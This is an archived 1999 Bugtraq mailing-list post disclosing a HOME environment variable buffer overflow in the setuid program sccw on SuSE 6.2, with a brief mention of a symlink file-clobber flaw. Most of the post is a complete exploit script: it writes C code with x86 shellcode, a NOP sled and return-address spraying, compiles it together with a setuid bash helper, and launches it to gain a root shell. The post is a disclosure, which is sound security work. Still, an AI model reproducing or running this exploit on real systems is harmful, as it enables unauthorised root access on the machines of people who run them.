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 Date: Чт, 23 сен 1999  23:32:38

   От: Brock Tellier <btellier@WEBLEY.COM>

 Кому: BUGTRAQ@SECURITYFOCUS.COM

 Тема: SuSE 6.2 sccw overflow exploit

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Greetings,



    My last post regarding a sccw exploit simply allowed any user to read

any file on the system but, of course, didn't yield any instant root.  A

much more serious problem now exists in the form of a HOME environment

variable buffer overflow.  If you hadn't removed the s-bit before, now is

the time.  In addition to this problem, a $HOME/.sccw symlink

vulnerability also exists, allowing any user to clobber any file on the

system.



Brock Tellier

UNIX Systems Administrator

Webley Systems

www.webley.com



--- sccw.sh ---

#!/bin/bash

#

# Linux x86 exploit for /usr/bin/sccw on SuSE 6.2

#

# -Brock Tellier btellier@webley.com



echo "Building /tmp/sccwx.c..."

cat > /tmp/sccwx.c << FOEFOE

/*

 * sccw local root Linux x86 tested on SuSE 6.2

 * gcc -o sccwx sccwx.c

 * must compile/run a setuid(geteuid()); system("/bin/bash"); for a

rootshell

 *

 * -Brock Tellier btellier@webley.com

 */





#include <stdlib.h>

#include <stdio.h>



char exec[]= /* Generic Linux x86 running our /tmp program */

  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

  "\x80\xe8\xdc\xff\xff\xff/tmp/sc";







#define LEN 400

#define NOP 0x90



unsigned long get_sp(void) {



__asm__("movl %esp, %eax");



}





void main(int argc, char *argv[]) {



int offset=0;

int i;

int buflen = LEN;

long int addr;

char buf[LEN];



 if(argc > 3) {

  fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);

 exit(0);

 }

 else if (argc == 2){

   offset=atoi(argv[1]);



 }

 else if (argc == 3) {

   offset=atoi(argv[1]);

   buflen=atoi(argv[2]);



 }

 else {

   offset=2100;

   buflen=300;



 }





addr=get_sp();



fprintf(stderr, "SuSE 6.2 sccw local root\n");

fprintf(stderr, "Brock Tellier btellier@webley.com\n");

fprintf(stderr, "Using addr: 0x%x\n", addr+offset);



memset(buf,NOP,buflen);

memcpy(buf+(buflen/2),exec,strlen(exec));

for(i=((buflen/2) + strlen(exec))+1;i<buflen-4;i+=4)

 *(int *)&buf[i]=addr+offset;



setenv("HOME", buf, 1);

execl("/usr/bin/sccw", "sccw", NULL);



}

FOEFOE



echo "Building /tmp/sccwuid.c..."



cat > /tmp/sccwuid.c <<EOFFOE

void main()

{

    setuid(geteuid());

    system("/bin/bash");

}

EOFFOE



echo "Compiling /tmp/sccwx..."

gcc -o /tmp/sccwx /tmp/sccwx.c



echo "Compiling /tmp/sc..."

gcc -o /tmp/sc /tmp/sccwuid.c



echo "Launching /tmp/sccwx..."

/tmp/sccwx

echo "If it didn't work, try /tmp/sccwx <offset> <bufsiz>"

-------